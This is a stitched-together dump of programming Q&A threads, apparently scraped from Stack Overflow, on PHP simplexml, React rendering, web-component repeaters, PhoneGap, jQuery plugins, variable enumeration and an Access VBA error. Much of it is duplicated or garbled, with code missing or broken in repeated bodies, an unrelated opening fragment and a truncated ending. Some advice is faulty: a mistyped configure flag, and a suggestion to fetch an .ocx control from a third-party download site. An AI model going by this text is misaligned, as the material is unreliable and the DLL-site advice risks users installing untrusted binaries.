ReactDOM.render(<Logout/>, document.getElementById('app'))

<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js"></script>

<div id='app'/>


问:
PHP5 how to add simplexml?
When i check my phpinfo , it displays like below and i have to use  simplexml, but getting ;

"Fatal error: Call to undefined function simplexml_load_file()
  in..."

message.

disable-xml' '--disable-simplexml' '--disable-dom' '--disable-libxml' '--disable-xmlreader' '--disable-xmlwriter' '--disable-debug'

How can i enable simplexml ?

答:
You must recompile your php source code and enable all of the related XML plugin.

Like this:

```<code>./configure --prefix=/usr/local/php --enable-xml --enable-simplexm --enable-libxml  //and so on...
</code>```

Title: PHP5 how to add simplexml?

Body:
You must recompile your php source code and enable all of the related XML plugin.

Like this:

./configure --prefix=/usr/local/php --enable-xml --enable-simplexm --enable-libxml  //and so on...


问:
Content inside html elements are rendered with a delay - ReactJS
I am learning ReactJS by creating ReactJS version of my blog. While I was testing google page speed, I am noticed the "prioritize visible content", fine, while articles are loading I have added a placeholder article with title of a loading message and lorem ipsum description and a sample default header image. I have run the page speed again, still the same issue with one difference. The placeholder article is rendered, but the title, image and description are not rendered. It is a static text, cannot imagine why it´s not showing. I have tried to simulate low internet connection and reload the page and yes, the text inside component is rendered with some delay, even its just static text.

The code is available here: https://github.com/erikkubica/reactjs-simple-blog-test See the src/modules/article/ArticleListItemPlaceholder.js  and ArticleList.js

I have also noticed that the logo is also missing at this moment. Cannot imagine why, if on non-react website it´s not. Also the styles are loaded, navigation component is rendered...

See in action http://reactjs.netlime.eu/

Screenshot about the problem:

Thank you, I will be happy to get any explanation, good practices,... to learn more.

UPDATE:
Problem resolved.

Problem was that while custom fonts was not loaded browser made the text invisible. I have added fontFamily: "Arial" into inline style of elements which fixed the issue. Thanks to Mr Lister.

Also big thanks to John Ruddell for giving some best practice.

答:
Your issue is you are setting state async but trying to render things in a semi sync manner.

```<code>async fetchData() {

    //const response = await fetch("/static/articles.json");

    let data = null; //await AsyncStorage.getItem('@MySuperStore:articles_storage_' + this.state.category);

    if (data === null) {
        const response = await fetch("https://www.netlime.eu/wp-json/get-posts/v2/all/");
        data = await response.json();
        await AsyncStorage.setItem('@MySuperStore:articles_storage_' + this.state.category, JSON.stringify(data));
    }

    try {
        data = JSON.parse(data);
    } catch (e) {

    }
// your issue is here
______________________________________________
    this.setState({articles: data});

    this.createArticleList();
______________________________________________

// change to this.
    this.setState({articles: data}, () => {
        this.createArticleList();
    });
}
</code>```

because setState is async you are creating the articleList state item before the articles are set on state. so the UI never gets updated

Edit

To be honest you shouldn't use a secondary state variable to hold an array of the articles to be rendered. create them on the fly.

```<code>export default class ArticleList extends React.Component {
    constructor(props) {
        super(props);
        this.state = {
            articles: [],
            category: this.props.category ? this.props.category : 0
        };
    }

    async fetchData() {
        let data = null; //await AsyncStorage.getItem('@MySuperStore:articles_storage_' + this.state.category);
        if (data === null) {
            const response = await fetch("https://www.netlime.eu/wp-json/get-posts/v2/all/");
            data = await response.json();
            await AsyncStorage.setItem('@MySuperStore:articles_storage_' + this.state.category, JSON.stringify(data));
        }

        try {
            data = JSON.parse(data);
        } catch (e) {

        }

        this.setState({articles: data});
    }
    componentDidMount() {
        this.fetchData();
    }
    render() {
        const articles = this.state.articles.map((article) => {
            return (
                <ArticleListItem
                    key={article.ID}
                    article={article}
                />
            );
        });

        return (
            <div>
                { articles.length ? articles : <ArticleListItemPlaceholder/>}
            </div>
        );
    }
}
</code>```

Body:
Your issue is you are setting state async but trying to render things in a semi sync manner.

async fetchData() {

    //const response = await fetch("/static/articles.json");

    let data = null; //await AsyncStorage.getItem('@MySuperStore:articles_storage_' + this.state.category);

    if (data === null) {
        const response = await fetch("https://www.netlime.eu/wp-json/get-posts/v2/all/");
        data = await response.json();
        await AsyncStorage.setItem('@MySuperStore:articles_storage_' + this.state.category, JSON.stringify(data));
    }

    try {
        data = JSON.parse(data);
    } catch (e) {

    }
// your issue is here
______________________________________________
    this.setState({articles: data});

    this.createArticleList();
______________________________________________

// change to this.
    this.setState({articles: data}, () => {
        this.createArticleList();
    });
}

because setState is async you are creating the articleList state item before the articles are set on state. so the UI never gets updated

Edit

To be honest you shouldn't use a secondary state variable to hold an array of the articles to be rendered. create them on the fly.

export default class ArticleList extends React.Component {
    constructor(props) {
        super(props);
        this.state = {
            articles: [],
            category: this.props.category ? this.props.category : 0
        };
    }

    async fetchData() {
        let data = null; //await AsyncStorage.getItem('@MySuperStore:articles_storage_' + this.state.category);
        if (data === null) {
            const response = await fetch("https://www.netlime.eu/wp-json/get-posts/v2/all/");
            data = await response.json();
            await AsyncStorage.setItem('@MySuperStore:articles_storage_' + this.state.category, JSON.stringify(data));
        }

        try {
            data = JSON.parse(data);
        } catch (e) {

        }

        this.setState({articles: data});
    }
    componentDidMount() {
        this.fetchData();
    }
    render() {
        const articles = this.state.articles.map((article) => {
            return (
                <ArticleListItem
                    key={article.ID}
                    article={article}
                />
            );
        });

        return (
            <div>
                { articles.length ? articles : <ArticleListItemPlaceholder/>}
            </div>
        );
    }
}


问:
Vanilla Custom Element repeater for <option>,
,
I'm currently trying to implement a repeater WebComponent to allow the company to easily create front-end without depending on any framework (decision took by architecture).

Here's my current code:

```<code><ul>
    <company-repeat datas='[{"name": "NameValeur", "value": "valeurId"}, {"name": "NameObject", "value": "objectId"}]'>
        <li>${name}</option>
    </company-repeat>
</ul>

<select name="" id="">
    <company-repeat datas='[{"name": "NameValeur", "value": "valeurId"}, {"name": "NameObject", "value": "objectId"}]'>
        <option value="${value}">${name}</option>
    </company-repeat>
</select>
</code>```

The list is rightly working since it seems to have no limitation on which tag allowed inside, but the select is not allowing the customElement company-repeat in it and by extension, break the feature and just display <option value="${value}">${name}</option>

Here's the source code of my WebComponent

```<code>class CompanyRepeater extends HTMLElement {
    connectedCallback() {
        this.render();
    }

    render() {
        let datas = JSON.parse(this.getAttribute('datas'));
        let elementType = this.getAttribute('element');
        this.template = this.innerHTML;
        console.log(elementType);

        let htmlContent = elementType !== null ? `<${elementType.toLowerCase()}>` : '';

        datas.forEach(elem => {
            htmlContent += this.interpolate(this.template, elem)}
        );

        htmlContent += elementType !== null ? `</${elementType.toLowerCase()}>` : '';

        this.innerHTML = htmlContent;
    }

    interpolate(template, obj) {
        for(var key in obj) {
            const pattern = "${" + key + "}";

            if(template.indexOf(pattern) > -1) {
                template = template.replace(pattern, obj[key]);
                delete(obj[key]);
            }
        };

        return template;
    }
}

customElements.define('company-repeat', CompanyRepeater);
</code>```

My question now is, how can I make it work, no matter what's the parent element? I've added a property element to my repeater, but it's not allowing me to declare more attribute, and it'll stick not work inside a table.

This is the only thing to prevent me from moving everything to WebComponent.

答:
Solution 1

Put the repeater around your elements. Ex. for a minimal <data-repeater> custom element :

customElements.define('data-repeater', class extends HTMLElement
{
  connectedCallback()
  {
    const parent = this.firstElementChild
    const data = JSON.parse(this.dataset.values)

    const interpolate = obj => parent.innerHTML.replace(
      /\${(\w+)}/g,
      (match, key) => obj[key]
    )

    parent.innerHTML = data.map(interpolate).join('')
  }
})```
<pre class="snippet-code-html lang-html prettyprint-override"><code><data-repeater data-values='[{"label": "Item 1", "id":1}, {"label": "Item 2", "id": 2}]'>
  <ul>
    <li id="${id}">${label}</li>
  </ul>
</data-repeater>

<data-repeater data-values='[{"name": "option 1", "value":1}, {"name": "option 2", "value": 2}]'>
  <select>
      <option value="${value}">${name}</option>
  </select>
</data-repeater></code>```

Solution 2

Use customized built-in elements. You need to choose a new name for each standard element you want to extend, but you can reuse internally a unique base class to render the elements:

```<code><select is="repeat-option" data-values="[...]">
   <option value="${value}">${name}</option>
</select>
</code>```

customElements.define('select-repeater', class extends HTMLSelectElement {
  connectedCallback() { render(this) }
}, { extends: 'select' })

customElements.define('ul-repeater', class extends HTMLUListElement {
  connectedCallback() { render(this) }
}, { extends: 'ul' })

function render(view) {
  const data = JSON.parse(view.dataset.values)

  const interpolate = obj => view.innerHTML.replace(
    /\${(\w+)}/g,
    (match, key) => obj[key]
  )

  view.innerHTML = data.map(interpolate).join('')
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://rawgit.com/WebReflection/document-register-element/master/build/document-register-element.js"></script>

<ul is="ul-repeater" data-values='[{"label": "Item 1", "id":1}, {"label": "Item 2", "id": 2}]'>
    <li id="${id}">${label}</li>
</ul>

<select is="select-repeater" data-values='[{"name": "option 1", "value":1}, {"name": "option 2", "value": 2}]'>
  <option value="${value}">${name}</option>
</select></code>```

If the rendering is very different depending on the element you could decide to create a class for rendering and to use derived classes for each type fo rendering ( select, ul, tr, td ), like in this example for tables.

Title: Vanilla Custom Element repeater for <option>, <li>, <td>

Body:
I'm currently trying to implement a repeater WebComponent to allow the company to easily create front-end without depending on any framework (decision took by architecture).

Here's my current code:

    <company-repeat datas='[{"name": "NameValeur", "value": "valeurId"}, {"name": "NameObject", "value": "objectId"}]'>

${name}</option>
    </company-repeat>

<select name="" id="">
    <company-repeat datas='[{"name": "NameValeur", "value": "valeurId"}, {"name": "NameObject", "value": "objectId"}]'>
        <option value="${value}">${name}</option>
    </company-repeat>
</select>

The list is rightly working since it seems to have no limitation on which tag allowed inside, but the select is not allowing the customElement company-repeat in it and by extension, break the feature and just display <option value="${value}">${name}</option>

Here's the source code of my WebComponent

class CompanyRepeater extends HTMLElement {
    connectedCallback() {
        this.render();
    }

    render() {
        let datas = JSON.parse(this.getAttribute('datas'));
        let elementType = this.getAttribute('element');
        this.template = this.innerHTML;
        console.log(elementType);

        let htmlContent = elementType !== null ? `<${elementType.toLowerCase()}>` : '';

        datas.forEach(elem => {
            htmlContent += this.interpolate(this.template, elem)}
        );

        htmlContent += elementType !== null ? `</${elementType.toLowerCase()}>` : '';

        this.innerHTML = htmlContent;
    }

    interpolate(template, obj) {
        for(var key in obj) {
            const pattern = "${" + key + "}";

            if(template.indexOf(pattern) > -1) {
                template = template.replace(pattern, obj[key]);
                delete(obj[key]);
            }
        };

        return template;
    }
}

customElements.define('company-repeat', CompanyRepeater);

My question now is, how can I make it work, no matter what's the parent element? I've added a property element to my repeater, but it's not allowing me to declare more attribute, and it'll stick not work inside a table.

This is the only thing to prevent me from moving everything to WebComponent.

Body:
Solution 1

Put the repeater around your elements. Ex. for a minimal <data-repeater> custom element :

customElements.define('data-repeater', class extends HTMLElement
{
  connectedCallback()
  {
    const parent = this.firstElementChild
    const data = JSON.parse(this.dataset.values)

    const interpolate = obj => parent.innerHTML.replace(
      /\${(\w+)}/g,
      (match, key) => obj[key]
    )

    parent.innerHTML = data.map(interpolate).join('')
  }
})

<data-repeater data-values='[{"label": "Item 1", "id":1}, {"label": "Item 2", "id": 2}]'>
  <ul>
    <li id="${id}">${label}</li>
  </ul>
</data-repeater>

<data-repeater data-values='[{"name": "option 1", "value":1}, {"name": "option 2", "value": 2}]'>
  <select>
      <option value="${value}">${name}</option>
  </select>
</data-repeater>

Solution 2

Use customized built-in elements. You need to choose a new name for each standard element you want to extend, but you can reuse internally a unique base class to render the elements:

<select is="repeat-option" data-values="[...]">
   <option value="${value}">${name}</option>
</select>

customElements.define('select-repeater', class extends HTMLSelectElement {
  connectedCallback() { render(this) }
}, { extends: 'select' })

customElements.define('ul-repeater', class extends HTMLUListElement {
  connectedCallback() { render(this) }
}, { extends: 'ul' })

function render(view) {
  const data = JSON.parse(view.dataset.values)

  const interpolate = obj => view.innerHTML.replace(
    /\${(\w+)}/g,
    (match, key) => obj[key]
  )

  view.innerHTML = data.map(interpolate).join('')
}

<script src="https://rawgit.com/WebReflection/document-register-element/master/build/document-register-element.js"></script>

<ul is="ul-repeater" data-values='[{"label": "Item 1", "id":1}, {"label": "Item 2", "id": 2}]'>
    <li id="${id}">${label}</li>
</ul>

<select is="select-repeater" data-values='[{"name": "option 1", "value":1}, {"name": "option 2", "value": 2}]'>
  <option value="${value}">${name}</option>
</select>

If the rendering is very different depending on the element you could decide to create a class for rendering and to use derived classes for each type fo rendering ( select, ul, tr, td ), like in this example for tables.


问:
Social button not working in Phonegap Android webview
```<code><div class="fb-like" data-href="http://www.mywebsite.com" data-layout="button_count" data-action="like" data-size="large" data-show-faces="false" data-share="true"></div>
<a href="https://twitter.com/share" class="twitter-share-button" data-size="large" data-url="https://www.mywebsite.com">Tweet</a>
<div class="fb-messengermessageus"
  messenger_app_id="xxx"
  page_id="xxx"
  color="white"
  size="large">
</div>
</code>```

I am trying to show Facebook Like, Share and Twitter tweet buttons on my phonegap app.

When running the above codes on my actual device, Facebook related buttons are totally not visible.

Twitter tweet button is visible, but if you press it, there is an error that says 'Refused to display 'https://twitter.com/intent/tweet?....'

If I try to add the following in my config.xml:

```<code><access origin="tel:*" launch-external="yes" />
<access origin="http:*" launch-external="yes" />
<access origin="https:*" launch-external="yes" />
</code>```

Then pressing tweet button will have no error, but still, nothing shows up.

Why? How to make these buttons open up corresponding apps or external browser?

答:
In Phonegap you can open the in app browser like so:

```<code>window.open('fb://profile/xxxx', '_blank', 'hidden=yes');
</code>```

Please refer to This documentation in order to move forwards. You may have to encode all of the parameters you mentioned above in your URL.

Body:
Tweet

I am trying to show Facebook Like, Share and Twitter tweet buttons on my phonegap app.

When running the above codes on my actual device, Facebook related buttons are totally not visible.

Twitter tweet button is visible, but if you press it, there is an error that says 'Refused to display 'https://twitter.com/intent/tweet?....'

If I try to add the following in my config.xml:

<access origin="tel:*" launch-external="yes" />
<access origin="http:*" launch-external="yes" />
<access origin="https:*" launch-external="yes" />

Then pressing tweet button will have no error, but still, nothing shows up.

Why? How to make these buttons open up corresponding apps or external browser?

Body:
In Phonegap you can open the in app browser like so:

window.open('fb://profile/xxxx', '_blank', 'hidden=yes');

Please refer to This documentation in order to move forwards. You may have to encode all of the parameters you mentioned above in your URL.


问:
Cycle image caption doesn't work
I've cycle slideshow gallery and I put a caption on my images but there is something wrong why I don't understand..Only my attribute name showing on my caption I don't want to attribute name I want to get attribute value what's wrong with me ?

$(document).ready(function() {

  $('.mySlideShow').cycle({
    log: false,
    fx: 'fade',
    slides: ">a",
    caption: '.cycle-caption',
    captionTemplate: "{{data-caption}}",
    pauseOnHover: true,
  });
})```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.slide-gallery {
  position: relative;
  width: 790px;
  overflow: hidden;
  height: 500px;
}

.slide-gallery img {
  max-width: 100%;
  height: 100%;
}

.cycle-caption {
  position: absolute;
  bottom: 0;
  left: 0;
  background: rgba(0, 0, 0, .8);
  padding: 10px;
  color: #FFF;
  z-index: 1000;
  width: 100%;
  text-align: center;
}</code>```

```

答:
There were few bugs in the way you were defining your caption.

Mistake 1-

First of all the data-caption attribute in not supported to  display caption . After reading the documentation despite of data-caption you can use data-cycle-title for the captions.

Mistake 2-

Since the selector is anchor tag slides: "> a" in your jquery code,  the captions will work on anchor tag not on the  . So I have added the  data-cycle-title="Lorem ipsum dolor sit amet.." on the anchors.
Also  changes the captiontemplate jquery to this:

```<code>captionTemplate: "' {{cycleTitle}}'",
</code>```

Below is the working example . Happy Coding :)

$(document).ready(function() {

  $('.mySlideShow').cycle({
    log: false,
    fx: 'fade',
    slides: "> a",
    caption: '.cycle-caption',
    captionTemplate: "' {{cycleTitle}}'",
    pauseOnHover: true,
  });
})```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.slide-gallery {
  position: relative;
  width: 790px;
  overflow: hidden;
  height: 500px;
}

.slide-gallery img {
  max-width: 100%;
  height: 100%;
}

.cycle-caption {
  position: absolute;
  bottom: 0;
  left: 0;
  background: rgba(0, 0, 0, .8);
  padding: 10px;
  color: #FFF;
  z-index: 1000;
  width: 100%;
  text-align: center;
}</code>```

```

Title: Cycle image caption doesn't work

Body:
I've cycle slideshow gallery and I put a caption on my images but there is something wrong why I don't understand..Only my attribute name showing on my caption I don't want to attribute name I want to get attribute value what's wrong with me ?

$(document).ready(function() {

  $('.mySlideShow').cycle({
    log: false,
    fx: 'fade',
    slides: ">a",
    caption: '.cycle-caption',
    captionTemplate: "{{data-caption}}",
    pauseOnHover: true,
  });
})

.slide-gallery {
  position: relative;
  width: 790px;
  overflow: hidden;
  height: 500px;
}

.slide-gallery img {
  max-width: 100%;
  height: 100%;
}

.cycle-caption {
  position: absolute;
  bottom: 0;
  left: 0;
  background: rgba(0, 0, 0, .8);
  padding: 10px;
  color: #FFF;
  z-index: 1000;
  width: 100%;
  text-align: center;
}

Body:
There were few bugs in the way you were defining your caption.

Mistake 1-

First of all the data-caption attribute in not supported to  display caption . After reading the documentation despite of data-caption you can use data-cycle-title for the captions.

Mistake 2-

Since the selector is anchor tag slides: "> a" in your jquery code,  the captions will work on anchor tag not on the < img > . So I have added the  data-cycle-title="Lorem ipsum dolor sit amet.." on the anchors.
Also  changes the captiontemplate jquery to this:

captionTemplate: "' {{cycleTitle}}'",

Below is the working example . Happy Coding :)

$(document).ready(function() {

  $('.mySlideShow').cycle({
    log: false,
    fx: 'fade',
    slides: "> a",
    caption: '.cycle-caption',
    captionTemplate: "' {{cycleTitle}}'",
    pauseOnHover: true,
  });
})

.slide-gallery {
  position: relative;
  width: 790px;
  overflow: hidden;
  height: 500px;
}

.slide-gallery img {
  max-width: 100%;
  height: 100%;
}

.cycle-caption {
  position: absolute;
  bottom: 0;
  left: 0;
  background: rgba(0, 0, 0, .8);
  padding: 10px;
  color: #FFF;
  z-index: 1000;
  width: 100%;
  text-align: center;
}

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.cycle2/2.1.6/jquery.cycle2.min.js"></script>

<div class="slide-gallery">
  <div class="mySlideShow">

    <a data-cycle-title="Lorem ipsum dolor sit amet..">
      <img src="https://amazingcarousel.com/wp-content/uploads/amazingcarousel/7/images/lightbox/dandelion-lightbox.jpg" >
    </a>
    <a data-cycle-title="This is my caption....">
      <img src="https://amazingcarousel.com/wp-content/uploads/amazingcarousel/7/images/lightbox/daffodil-flowers-lightbox.jpg" >
    </a>
    <a data-cycle-title="bla.....">
      <img src="https://amazingcarousel.com/wp-content/uploads/amazingcarousel/7/images/lightbox/tulips-lightbox.jpg" >
    </a>
  </div>

  <div class="cycle-caption"></div>
</div>


问:
Enumerate or list all variables in a program of [your favorite language here]
A friend asked me last week how to enumerate or list all variables within a program/function/etc. for the purposes of debugging (essentially getting a snapshot of everything so you can see what variables are set to, or if they are set at all). I looked around a bit and found a relatively good way for Python:

```
#!/usr/bin/python
foo1 = "Hello world"
foo2 = "bar"
foo3 = {"1":"a",
        "2":"b"}
foo4 = "1+1"

for name in dir():
    myvalue = eval(name)
    print name, "is", type(name), "and is equal to ", myvalue
```

which will output something like:

```
__builtins__ is <type 'str'> and is equal to  <module '__builtin__' (built-in)>
__doc__ is <type 'str'> and is equal to  None
__file__ is <type 'str'> and is equal to  ./foo.py
__name__ is <type 'str'> and is equal to  __main__
foo1 is <type 'str'> and is equal to  Hello world
foo2 is <type 'str'> and is equal to  bar
foo3 is <type 'str'> and is equal to  {'1': 'a', '2': 'b'}
foo4 is <type 'str'> and is equal to  1+1
```

I have so far found a partial way in PHP (courtesy of link text) but it only lists all variables and their types, not the contents:

```
<?php
// create a few variables
$bar = 'foo';
$foo ='bar';
// create a new array object
$arrayObj = new ArrayObject(get_defined_vars());
// loop over the array object and echo variables and values
for($iterator = $arrayObj->getIterator(); $iterator->valid(); $iterator->next())
        {
        echo $iterator->key() . ' => ' . $iterator->current() . '<br />';
        }
?>
```

So I put it to you: how do you list all variables and their contents in your favorite language?

Edit by VonC: I propose this question follows the spirit of a little "code-challenge".

If you do not agree, just edit and remove the tag and the link.

答:
In python, using locals which returns a dictionary containing all the local  bindings, thus, avoiding eval:</p>

```<code>>>> foo1 = "Hello world"
>>> foo2 = "bar"
>>> foo3 = {"1":"a",
...         "2":"b"}
>>> foo4 = "1+1"

>>> import pprint
>>> pprint.pprint(locals())
{'__builtins__': <module '__builtin__' (built-in)>,
 '__doc__': None,
 '__name__': '__main__',
 'foo1': 'Hello world',
 'foo2': 'bar',
 'foo3': {'1': 'a', '2': 'b'},
 'foo4': '1+1',
 'pprint': <module 'pprint' from '/usr/lib/python2.5/pprint.pyc'>}
</code>```

OwnerDisplayName: Kurt

Body:
A friend asked me last week how to enumerate or list all variables within a program/function/etc. for the purposes of debugging (essentially getting a snapshot of everything so you can see what variables are set to, or if they are set at all). I looked around a bit and found a relatively good way for Python:

#!/usr/bin/python
foo1 = "Hello world"
foo2 = "bar"
foo3 = {"1":"a",
        "2":"b"}
foo4 = "1+1"

for name in dir():
    myvalue = eval(name)
    print name, "is", type(name), "and is equal to ", myvalue

which will output something like:

__builtins__ is <type 'str'> and is equal to  <module '__builtin__' (built-in)>
__doc__ is <type 'str'> and is equal to  None
__file__ is <type 'str'> and is equal to  ./foo.py
__name__ is <type 'str'> and is equal to  __main__
foo1 is <type 'str'> and is equal to  Hello world
foo2 is <type 'str'> and is equal to  bar
foo3 is <type 'str'> and is equal to  {'1': 'a', '2': 'b'}
foo4 is <type 'str'> and is equal to  1+1

I have so far found a partial way in PHP (courtesy of link text) but it only lists all variables and their types, not the contents:

<?php
// create a few variables
$bar = 'foo';
$foo ='bar';
// create a new array object
$arrayObj = new ArrayObject(get_defined_vars());
// loop over the array object and echo variables and values
for($iterator = $arrayObj->getIterator(); $iterator->valid(); $iterator->next())
        {
        echo $iterator->key() . ' => ' . $iterator->current() . '
';
        }
?>

So I put it to you: how do you list all variables and their contents in your favorite language?

Edit by VonC: I propose this question follows the spirit of a little "code-challenge".

If you do not agree, just edit and remove the tag and the link.

LastEditorDisplayName: VonC

Body:
In python, using locals which returns a dictionary containing all the local  bindings, thus, avoiding eval:

>>> foo1 = "Hello world"
>>> foo2 = "bar"
>>> foo3 = {"1":"a",
...         "2":"b"}
>>> foo4 = "1+1"

>>> import pprint
>>> pprint.pprint(locals())
{'__builtins__': <module '__builtin__' (built-in)>,
 '__doc__': None,
 '__name__': '__main__',
 'foo1': 'Hello world',
 'foo2': 'bar',
 'foo3': {'1': 'a', '2': 'b'},
 'foo4': '1+1',
 'pprint': <module 'pprint' from '/usr/lib/python2.5/pprint.pyc'>}

OwnerDisplayName: zacherates


问:
How to toggle a class within a form element using onClick?
I'm looking for some JS or jQuery (either plugin or otherwise) to help me with manipulating the class="required" that jQuery's validation plugin uses for form validation in the form fields.  I need to be able to toggle that class to equal nothing when a Delete button is clicked.

Here's more context on why I need to be able to toggle that class "required on or off:

1) This is a registration form for more than one attendee for an event

2) there is a control in the form allowing the registrant to "Delete" an attendee (if s/he decides to bring 2 instead of 4 people).  This toggles the visibility of that DIV where that attendee's form elements live.  I can see what attendee the form elements belong to since my PHP loop created them with first_name_1 (for the first attendee) and then the second attendee would have first_name_2.  Then each div_attendee_1 or 2 or 3 has their form fields with this counter appended to the end of each field.

3) When a div is rendered visibility="hidden" I also reset the form elements in that div.  BUT I think I need to also access the class="required" to render it class="".

What's the best way to do that?  Here's the jQuery I have so far to toggle the visibility and reset the field values:

Validation:

```<code> <script>
  $(document).ready(function(){
    $("#the_form").validate();
  });
  </script>
</code>```

And then:

```<code><script language="JavaScript">
  function showhidefield(hideablearea){
   document.getElementById(hideablearea).style.visibility = "hidden";
   var el = document.getElementById(hideablearea);
    if ( el.style.display != 'none' ) {
        el.style.display = 'none';
    }
    else {
        el.style.display = '';
    }
    $('#' + hideablearea).hide().find("input").val("");
    $('#' + hideablearea).attr('disabled', true);
  }
</script>
</code>```

Should I just try and rewrite the elements using inner.html?

Thanks!

答:
Change

```<code>$('#' + hideablearea).hide().find("input").val("");
</code>```

to

```<code>$('#' + hideablearea).hide().find("input").val("").removeClass("required");
</code>```

Body:
I'm looking for some JS or jQuery (either plugin or otherwise) to help me with manipulating the class="required" that jQuery's validation plugin uses for form validation in the form fields.  I need to be able to toggle that class to equal nothing when a Delete button is clicked.

Here's more context on why I need to be able to toggle that class "required on or off:

1) This is a registration form for more than one attendee for an event

2) there is a control in the form allowing the registrant to "Delete" an attendee (if s/he decides to bring 2 instead of 4 people).  This toggles the visibility of that DIV where that attendee's form elements live.  I can see what attendee the form elements belong to since my PHP loop created them with first_name_1 (for the first attendee) and then the second attendee would have first_name_2.  Then each div_attendee_1 or 2 or 3 has their form fields with this counter appended to the end of each field.

3) When a div is rendered visibility="hidden" I also reset the form elements in that div.  BUT I think I need to also access the class="required" to render it class="".

What's the best way to do that?  Here's the jQuery I have so far to toggle the visibility and reset the field values:

Validation:

And then:

Should I just try and rewrite the elements using inner.html?

Thanks!

Body:
Change

$('#' + hideablearea).hide().find("input").val("");

to

$('#' + hideablearea).hide().find("input").val("").removeClass("required");


问:
#Name? error while using ConvertCurrencyToEnglish function in access report
im using below function for converting amount into words

Function ConvertCurrencyToEnglish(ByVal MyNumber)
  Dim Temp
         Dim Rupees, Paise
         Dim DecimalPlace, Count

         ReDim Place(9) As String
         Place(2) = " Thousand "
         Place(3) = " lakh "
         Place(4) = " Crore "

         ' Convert MyNumber to a string, trimming extra spaces.
         MyNumber = Trim(Str(MyNumber))

         ' Find decimal place.
         DecimalPlace = InStr(MyNumber, ".")

         ' If we find decimal place...
         If DecimalPlace > 0 Then
            ' Convert Paise
            Temp = Left(Mid(MyNumber, DecimalPlace + 1) & "00", 2)
            ' Hi! Note the above line Mid function it gives right portion
            ' after the decimal point
            'if only . and no numbers such as 789. accures, mid returns nothing
            ' to avoid error we added 00
            ' Left function gives only left portion of the string with specified places here 2

            Paise = ConvertTens(Temp)

            ' Strip off paise from remainder to convert.
            MyNumber = Trim(Left(MyNumber, DecimalPlace - 1))
         End If

         Count = 1
        If MyNumber <> "" Then

            ' Convert last 3 digits of MyNumber to Indian Rupees.
            Temp = ConvertHundreds(Right(MyNumber, 3))

            If Temp <> "" Then Rupees = Temp & Place(Count) & Rupees

            If Len(MyNumber) > 3 Then
               ' Remove last 3 converted digits from MyNumber.
               MyNumber = Left(MyNumber, Len(MyNumber) - 3)
            Else
               MyNumber = ""
            End If
        End If

            ' convert last two digits to of mynumber
            Count = 2

            Do While MyNumber <> ""
            Temp = ConvertTens(Right("0" & MyNumber, 2))

            If Temp <> "" Then Rupees = Temp & Place(Count) & Rupees
            If Len(MyNumber) > 2 Then
               ' Remove last 2 converted digits from MyNumber.
               MyNumber = Left(MyNumber, Len(MyNumber) - 2)

            Else
               MyNumber = ""
            End If
            Count = Count + 1

            Loop

         ' Clean up rupees.
         Select Case Rupees
            Case ""
               Rupees = ""
            Case "One"
               Rupees = "One Rupee"
            Case Else
               Rupees = Rupees & " Rupees"
         End Select

         ' Clean up paise.
         Select Case Paise
            Case ""
               Paise = ""
            Case "One"
               Paise = "One Paise"
            Case Else
               Paise = Paise & " Paise"
         End Select

         If Rupees = "" Then
         ConvertCurrencyToEnglish = Paise
         ElseIf Paise = "" Then
         ConvertCurrencyToEnglish = Rupees
         Else
         ConvertCurrencyToEnglish = Rupees & " and " & Paise
         End If

End Function

Private Function ConvertDigit(ByVal MyDigit)
        Select Case Val(MyDigit)
            Case 1: ConvertDigit = "One"
            Case 2: ConvertDigit = "Two"
            Case 3: ConvertDigit = "Three"
            Case 4: ConvertDigit = "Four"
            Case 5: ConvertDigit = "Five"
            Case 6: ConvertDigit = "Six"
            Case 7: ConvertDigit = "Seven"
            Case 8: ConvertDigit = "Eight"
            Case 9: ConvertDigit = "Nine"
            Case Else: ConvertDigit = ""
         End Select
End Function

Private Function ConvertHundreds(ByVal MyNumber)
    Dim Result As String

         ' Exit if there is nothing to convert.
         If Val(MyNumber) = 0 Then Exit Function

         ' Append leading zeros to number.
         MyNumber = Right("000" & MyNumber, 3)

         ' Do we have a hundreds place digit to convert?
         If Left(MyNumber, 1) <> "0" Then
            Result = ConvertDigit(Left(MyNumber, 1)) & " Hundred "
         End If

         ' Do we have a tens place digit to convert?
         If Mid(MyNumber, 2, 1) <> "0" Then
            Result = Result & ConvertTens(Mid(MyNumber, 2))
         Else
            ' If not, then convert the ones place digit.
            Result = Result & ConvertDigit(Mid(MyNumber, 3))
         End If

         ConvertHundreds = Trim(Result)
End Function

Private Function ConvertTens(ByVal MyTens)
          Dim Result As String

         ' Is value between 10 and 19?
         If Val(Left(MyTens, 1)) = 1 Then
            Select Case Val(MyTens)
               Case 10: Result = "Ten"
               Case 11: Result = "Eleven"
               Case 12: Result = "Twelve"
               Case 13: Result = "Thirteen"
               Case 14: Result = "Fourteen"
               Case 15: Result = "Fifteen"
               Case 16: Result = "Sixteen"
               Case 17: Result = "Seventeen"
               Case 18: Result = "Eighteen"
               Case 19: Result = "Nineteen"
               Case Else
            End Select
         Else
            ' .. otherwise it's between 20 and 99.
            Select Case Val(Left(MyTens, 1))
               Case 2: Result = "Twenty "
               Case 3: Result = "Thirty "
               Case 4: Result = "Forty "
               Case 5: Result = "Fifty "
               Case 6: Result = "Sixty "
               Case 7: Result = "Seventy "
               Case 8: Result = "Eighty "
               Case 9: Result = "Ninety "
               Case Else
            End Select

            ' Convert ones place digit.
            Result = Result & ConvertDigit(Right(MyTens, 1))
         End If

         ConvertTens = Result
End Function
```

but repeatedly im getting a #Name? error

Pls help me out of this

答:
I maybe late answering your question. Did you use Access 2016?

I also faced the same problem when copy my system from Access 2010 to Access 2016. Then, I copy these file : mscomct2.ocx and mscomct2 in: "C:\Program Files (x86)\Microsoft Office\Office16\" on the machine running Access 2016.

Maybe here can help u to find the files.

https://www.ocxme.com/files/mscomct2_ocx

Hope this will help you..

Body:
im using below function for converting amount into words

Function ConvertCurrencyToEnglish(ByVal MyNumber)
  Dim Temp
         Dim Rupees, Paise
         Dim DecimalPlace, Count

         ReDim Place(9) As String
         Place(2) = " Thousand "
         Place(3) = " lakh "
         Place(4) = " Crore "

